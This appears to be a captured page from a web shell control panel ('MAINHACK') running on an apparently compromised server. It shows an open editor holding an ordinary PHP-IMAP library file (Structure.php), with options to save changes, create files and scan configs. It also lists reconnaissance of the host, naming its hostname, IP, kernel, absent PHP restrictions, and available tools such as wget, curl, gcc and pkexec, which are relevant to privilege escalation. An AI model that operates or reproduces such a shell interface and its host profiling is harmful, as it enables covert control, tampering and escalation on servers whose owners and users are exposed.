[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Structure.php
<?php /* * File: Structure.php * Category: - * Author: M.Goldenbaum * Created: 17.09.20 20:38 * Updated: - * * Description: * - */ namespace Webklex\PHPIMAP; use Webklex\PHPIMAP\Exceptions\InvalidMessageDateException; use Webklex\PHPIMAP\Exceptions\MessageContentFetchingException; /** * Class Structure * * @package Webklex\PHPIMAP */ class Structure { /** * Raw structure * * @var string $raw */ public string $raw = ""; /** * @var Header $header */ private Header $header; /** * Message type (if multipart or not) * * @var int $type */ public int $type = IMAP::MESSAGE_TYPE_TEXT; /** * All available parts * * @var Part[] $parts */ public array $parts = []; /** * Config holder * * @var array $config */ protected array $config = []; /** * Structure constructor. * @param $raw_structure * @param Header $header * * @throws MessageContentFetchingException * @throws InvalidMessageDateException */ public function __construct($raw_structure, Header $header) { $this->raw = $raw_structure; $this->header = $header; $this->config = ClientManager::get('options'); $this->parse(); } /** * Parse the given raw structure * * @throws MessageContentFetchingException * @throws InvalidMessageDateException */ protected function parse(): void { $this->findContentType(); $this->parts = $this->find_parts(); } /** * Determine the message content type */ public function findContentType(): void { $content_type = $this->header->get("content_type")->first(); if($content_type && stripos($content_type, 'multipart') === 0) { $this->type = IMAP::MESSAGE_TYPE_MULTIPART; }else{ $this->type = IMAP::MESSAGE_TYPE_TEXT; } } /** * Find all available headers and return the leftover body segment * @var string $context * @var integer $part_number * * @return Part[] * @throws InvalidMessageDateException */ private function parsePart(string $context, int $part_number = 0): array { $body = $context; while (($pos = strpos($body, "\r\n")) > 0) { $body = substr($body, $pos + 2); } $headers = substr($context, 0, strlen($body) * -1); $body = substr($body, 0, -2); $headers = new Header($headers); if (($boundary = $headers->getBoundary()) !== null) { return $this->detectParts($boundary, $body, $part_number); } return [new Part($body, $headers, $part_number)]; } /** * @param string $boundary * @param string $context * @param int $part_number * * @return array * @throws InvalidMessageDateException */ private function detectParts(string $boundary, string $context, int $part_number = 0): array { $base_parts = explode( $boundary, $context); $final_parts = []; foreach($base_parts as $ctx) { $ctx = substr($ctx, 2); if ($ctx !== "--" && $ctx != "" && $ctx != "\r\n") { $parts = $this->parsePart($ctx, $part_number); foreach ($parts as $part) { $final_parts[] = $part; $part_number = $part->part_number; } $part_number++; } } return $final_parts; } /** * Find all available parts * * @return array * @throws MessageContentFetchingException * @throws InvalidMessageDateException */ public function find_parts(): array { if($this->type === IMAP::MESSAGE_TYPE_MULTIPART) { if (($boundary = $this->header->getBoundary()) === null) { throw new MessageContentFetchingException("no content found", 0); } return $this->detectParts($boundary, $this->raw); } return [new Part($this->raw, $this->header)]; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.67 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002